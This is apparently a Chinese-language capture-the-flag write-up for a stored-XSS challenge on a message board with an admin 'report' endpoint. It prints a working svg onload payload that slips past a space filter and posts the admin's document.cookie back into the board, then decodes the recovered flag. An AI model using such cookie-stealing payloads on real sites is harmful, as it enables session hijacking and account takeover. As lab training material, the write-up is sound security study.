管理员访问会执行留言里的 XSS,我们要做的就是构造内容使得xss注入生效。
首页是留言板,核心接口很简单:
GET /:看留言
POST /post:发留言
GET /?report=1:让管理员来查看
发一条能绕过滤的留言,利用 svg + 制表符绕过空格过滤,执行时把 cookie 再发回 /post:
Plaintext
<svg onload=fetch(`/post`,{method:`POST`,body:new/**/URLSearchParams({content:escape(document.cookie)})})></svg>
触发管理员查看:
GET /?report=1
这里请求会超时,但管理员端还是会去访问页面并执行你注入的 JS。
回到首页看留言列表,会出现管理员写回来的内容。我这次拿到的是重复出现的:
FLAG%3D%22SYC%7BLMAO%7D%22
解码得到最终 flag:
SYC{LMAO}